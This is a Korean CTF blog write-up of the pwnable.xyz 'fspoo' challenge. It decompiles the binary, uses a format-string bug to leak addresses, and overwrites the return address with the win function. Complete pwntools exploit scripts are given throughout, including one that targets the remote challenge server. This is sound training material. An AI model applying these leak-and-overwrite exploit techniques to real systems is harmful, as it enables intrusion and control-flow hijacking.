본문으로 바로가기

[pwnable.xyz] fspoo write up

category CTF/pwnable.xyz 2020. 2. 21. 12:41

pwnable.xyz 14번째 문제 fspoo 이다.

 


Analyze

문제의 바이너리에서 사용자 정의 함수를 보면 아래와 같다.

( "_" 함수가 있는걸 롸업 쓰면서 알게 되었다...)

ubuntu:~/environment/ctf/pwnable.xyz/14_fspoo $ func challenge
_
__libc_csu_fini
__libc_csu_init
__stack_chk_fail_local
__x86.get_pc_thunk.ax
__x86.get_pc_thunk.bx
__x86.get_pc_thunk.dx
_fini
_init
_start
handler
main
setup
vuln
win

사용자 정의 함수 중 자세히 봐야 할 것들은 main, vuln, win 이다.

 

gdb 로 해당 바이너리를 분석해서 c로 나타내면 다음과 같다.

void win(){
    system("cat flag");
}

void vuln(){
    while(1){
        printf(cmd+32);
        puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
        printf("> ");
        
        scanf("%d", ebp-0x10);  // 0xffffd658
        getchar();
        
        unsigned char select = *(ebp-0x10);
        
        if(select == 1){
            printf("Name: ");
            read(0, cmd+48, 0x1f);
        }
        else if(select == 2){
            sprintf(cmd, "💩   %s", cmd+48); // "💩   " => 7bytes => 0x56555b7b
        }
        else if(select == 3){
            puts(cmd);
        }
        else if(select == 4){
            
        }   
    }
}

int main(){
    printf("Name: ");
    
    read(0, cmd+48, 0x1f);
    vuln();
}

 

 

 

전역 변수는 cmd 와 flag라는 변수가 존재했다.

해당 변수들의 메모리 구조는 아래와 같다.

(필자가 flag 변수 값을 Leak 해보려고 했지만, 아무런 값이 없는 그냥 낚시용 변수 인것 같다.)

gdb-peda$ x/24wx 0x56557040                                                                                                                                             
0x56557040 <cmd>:       0x00000000      0x00000000      0x00000000      0x00000000
0x56557050 <cmd+16>:    0x00000000      0x00000000      0x00000000      0x00000000
0x56557060 <cmd+32>:    0x756e654d      0x00000a3a      0x00000000      0x00000000
0x56557070 <cmd+48>:    0x66647361      0x0000000a      0x00000000      0x00000000
0x56557080 <cmd+64>:    0x00000000      0x00000000      0x00000000      0x00000000
0x56557090 <flag>:      0x00000000      0x00000000      0x00000000      0x00000000

 

위 코드의 문제점은 7번째 줄에 format string 공격이 가능하다는 것이고,

21번째 줄에서 사용자가 입력한 이름에 추가적으로 7bytes 값을 붙인다. 이때, cmd+32 위치에 값을 덮어 버리게 된다.

 

아래 사진은 cmd 변수의 구조를 자세히 나타낸 것이다.

빨간색: 사용자가 입력한 이름이 들어가는 곳(31bytes)

초록색: 사용자가 입력한 이름 + 7bytes 값이 들어가는 곳

노란색: 정상적인 방법으로 채울 수 없는 부분

cmd 변수 구조

 

우선 select = 2 일때 cmd+32에 값을 Overwrite 할 수 있으므로

7bytes + dummy(25bytes) + payload(6bytes) 형식으로 cmd 변수에 값이 들어가면

cmd+32에 printf() 할때 format string 공격을 일으 킬수 있다.

 

위 사진 처럼 dummy(25bytes) + payload(6bytes) 를 넣고 select 2 일때, 스택의 주소가 Leak 되는 것을 볼 수 있다.

 

 

해당 주소가 어떤 주소인지를 모르니 gdb로 printf() 함수가 호출되기 직전에 breakpoint를 걸어 stack을 분석한다.

gdb-peda$ b *vuln+42
Breakpoint 1 at 0x565558fc
gdb-peda$ r
Name: AAAA
Menu:
1. Edit name.
2. Prep msg.
3. Print msg.
4. Exit.
> 2
Breakpoint 1, 0x565558fc in vuln ()
gdb-peda$ x/24wx $esp
0xffffd650:     0x56557060      0x56555b7b      0x56557070      0x56555943
0xffffd660:     0x0000003c      0x56556fa0      0x00000002      0x78a3ee00
0xffffd670:     0x00000000      0x56556fa0      0xffffd688      0x56555a77
0xffffd680:     0xffffd6a0      0x00000000      0x00000000      0xf7dfae81
0xffffd690:     0xf7fba000      0xf7fba000      0x00000000      0xf7dfae81
0xffffd6a0:     0x00000001      0xffffd734      0xffffd73c      0xffffd6c4

 

위에서 stack에 저장된 값들 중 중요한 몇가지를 분석하면 아래와 같다.

빨간색: cmd+48의 주소

주황색: vuln+113의 주소

노란색: 사용자가 입력한 메뉴 값

초록색: stack의 주소

파란색: RET 주소 (main+79)

stack에 저장된 값 분석

 

현재 payload 값은 6bytes 로 제한된다. 따라서 $ 를 사용하여 Leak 할 부분을 정해 값을 Leak 한다.

예를들면 빨간색(cmd+48) 주소를 Leak 하기 위해 payload = %2$p 하면 해당 주소가 Leak 될 것이다.

from pwn import *

p = process("./challenge")

dummy = "A"*25    # Dummy data

###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################


###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")

cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30  # Get "cmd"'s address

print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################


###################################
# Leak statck address
payload = dummy + "%12$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################

 

위 코드를 실행하면 아래 처럼 필요한 정보들이 출력 되는 것을 볼 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/14_fspoo $ python test.py 
[*] Leak vuln address 0x565c58d2
[*] Win addr 0x565c59fd
[*] 'cmd+44' Address => 0x565c7070
[*] 'cmd' Address => 0x565c7040
[*] Leak stack address : 0xffd60c60

 

 

위에서 파란색은 RET 주소를 나타낸다고 했다.

 

stack 주소를 알고 있으므로, RET 주소를 저장하고 있는  stack 주소에 접근 해서

format string 공격을 통해 이의 값을 win 함수의 주소로 변조가 가능하다.

 

하지만 payload 는 6bytes 만 입력이 제한 되어 공격 할 수가 없다.

 

위에서 cmd의 변수 구조인데, 노란색으로 칠한 부분은 정상적인 방법으로 쓸 수가 없는 부분이다.

비정상적인 방법은 사용자가 입력한 숫자를 이용해 노란색으로 칠한 부분에 값을 쓰는 것이다.

cmd 변수 구조

 

아래 사진에서 노란색은 사용자가 입력한 값이 들어가는 자리 이다.

stack에 저장된 값 분석

vuln() 함수의 일부분인데, 사용자로부터 입력받은 값은 1byte 값만 가져와서 if 문 조건을 수행한다.

scanf("%d", ebp-0x10);
getchar();
        
unsigned char select = *(ebp-0x10);

 

 

위 내용을 정리하면,

>> 초기 Name 값은 dummy(25bytes) + payload (A%6$hn)

>> select (Write 권한이 있는 주소이고, 1byte 값이 0x03 인 주소) => 즉 select 가 3이 됨

>> select (Overwrite 할 주소)

 

 

이런 시나리오로 공격하면 cmd 변수에 0x00 으로 채운 부분을 0x02로 바꿀수 있다.

"Write 권한이 있는 주소이고, 1byte 값이 0x03 인 주소" 라고 적은 이유는

payload = A%6$hn 이기 때문에 select 가 3 이면 payload 로 인해 0x00000003에 0x02 값을 쓰려고 한다. 하지만 이는 에러를 발생 시키기 때문이다.

 

from pwn import *

# Debug setting
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'


p = process("./challenge")

dummy = "A"*25    # Dummy data

###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################


script= '''
b *{}
c
'''.format(hex(vuln_addr + 144))
gdb.attach(proc.pidof(p)[0], script)


###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")

cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30  # Get "cmd"'s address

print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################


###################################
# Leak statck address
payload = dummy + "%12$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################


###################################
# Select value
count = 0
tmp = 0
while True:
    tmp = cmd_addr + count
    if hex(tmp)[8:] == "02":
        print("[*] tmp address => "+ hex(tmp))
        break
    count += 1
###################################

payload = dummy + "A%6$hn"
p.sendlineafter("> ", "1")
p.sendafter("Name: ", payload)
p.sendlineafter("> ", str(tmp))
print("[*] send tmp addr "+hex(tmp))

print("[*] Write anywhere")
for i in range(0, 10):
    write_cmd_addr = cmd_addr + 0x26 + i
    p.sendlineafter("> ", str(write_cmd_addr))
    print("[*] Send address => "+str(write_cmd_addr))
    
p.interactive()

 

위 코드를 실행하면 cmd 변수에 0x01010101로 덮어진 것을 볼 수 있다.

0x01010101 로 덮어진 cmd 변수

이로써 printf(cmd+32) 에서 payload가 6bytes 였지만, 중간에 0x01010101 값으로 채워 사용자가 Name 에 입력한 값들도 payload에 사용할 수 있게 되었다.

 

 

stack 주소를 Leak를 했으므로 RET 주소를 가리키는 곳에 접근해

해당 값을 win 함수로 변조하여 호출하면 끝이다.

 

아래는 RET 주소를 변조하기 위한 코드이다.

(위 python 코드에서 이어지는 코드이다.)

# python 에서 hex to int 할때 2의 보수를 적용하기 위한 함수
def s32(value):
    return -(value & 0x80000000) | (value & 0x7fffffff)

win_addr1 = win_addr[0:6]
win_addr2 = "0x"+win_addr[6:]

payload = "%{}p%6$hn".format(int(win_addr2,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-36)))


payload = "%{}p%6$hn".format(int(win_addr1,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-34)))

p.sendlineafter("> ", str(tmp+1))
p.interactive()

 

 


Payload

 

from pwn import *

def s32(value):
    return -(value & 0x80000000) | (value & 0x7fffffff)

p = remote("svc.pwnable.xyz", "30010")

dummy = "A"*25    # Dummy data

###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################



###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
print("[*] Send: "+payload)
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")

cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30  # Get "cmd"'s address

print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################


###################################
# Leak statck address
payload = dummy + "%12$p"
print("[*] Send " + payload)
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################



###################################
# Select value
count = 0
tmp = 0
while True:
    tmp = cmd_addr + count
    if hex(tmp)[8:] == "02":
        print("[*] tmp address => "+ hex(tmp))
        break
    count += 1
###################################    


###################################
# Overwrite
payload = dummy + "A%6$hn"
p.sendlineafter("> ", "1")
p.sendafter("Name: ", payload)
p.sendlineafter("> ", str(tmp))
print("[*] send tmp addr "+hex(tmp))

print("[*] Write anywhere")
for i in range(0, 10):
    write_cmd_addr = cmd_addr + 0x26 + i
    p.sendlineafter("> ", str(write_cmd_addr))
    print("[*] Send address => "+str(write_cmd_addr))
###################################


###################################
# RET overwrite to win address
win_addr1 = win_addr[0:6]
win_addr2 = "0x"+win_addr[6:]

payload = "%{}p%6$hn".format(int(win_addr2,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-36)))


payload = "%{}p%6$hn".format(int(win_addr1,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-34)))
###################################

p.sendlineafter("> ", "0")
p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] bookmark write up  (0) 2020.02.25
[pwnable.xyz] uaf write up  (0) 2020.02.21
[pwnable.xyz] fspoo write up  (0) 2020.02.21
[pwnable.xyz] Game write up  (0) 2020.02.15
[pwnable.xyz] l33t-ness write up  (0) 2020.01.31
[pwnable.xyz] Jmp table write up  (0) 2020.01.31

댓글을 달아 주세요